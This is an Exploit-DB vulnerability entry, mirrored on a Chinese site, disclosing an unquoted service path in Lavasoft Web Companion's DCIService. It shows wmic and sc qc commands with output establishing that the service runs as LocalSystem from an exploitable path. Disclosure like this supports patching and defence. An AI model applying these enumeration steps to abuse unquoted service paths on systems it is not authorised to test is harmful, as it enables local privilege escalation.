Lavasoft web companion 4.1.0.409 – ‘DCIservice’ Unquoted Service Path - 体验盒子

作者： P4p4 M4n3

日期： 2023-03-30

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/51143/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

#Exploit Title: Lavasoft web companion 4.1.0.409 - 'DCIservice' Unquoted Service Path

# Author: P4p4 M4n3

# Discovery Date: 25-11-2022

# Vendor Homepage: https://webcompanion.com/en/

# Version 4.1.0.409

# Tested on:Microsoft Windows Server 2019 Datacenter x64

# Description:

# Lavasoft 4.1.0.409 install DCIserviceas a service with an unquoted service path

# POC https://youtu.be/yb8AavCMbes

#Discover the Unquoted Service path

C:\Users\p4p4\> wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

DCIServiceC:\Program Files (x86)\Lavasoft\Web Companion\Service\x64\DCIService.exeAuto

C:\Users\p4p4> sc qc DCIService

[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: DCIService

TYPE : 10WIN32_OWN_PROCESS

START_TYPE : 2 AUTO_START

ERROR_CONTROL: 1 NORMAL

BINARY_PATH_NAME : C:\Program Files (x86)\Lavasoft\Web Companion\Service\x64\DCIService.exe

LOAD_ORDER_GROUP :

TAG: 0

DISPLAY_NAME : DCIService

DEPENDENCIES :

SERVICE_START_NAME : LocalSystem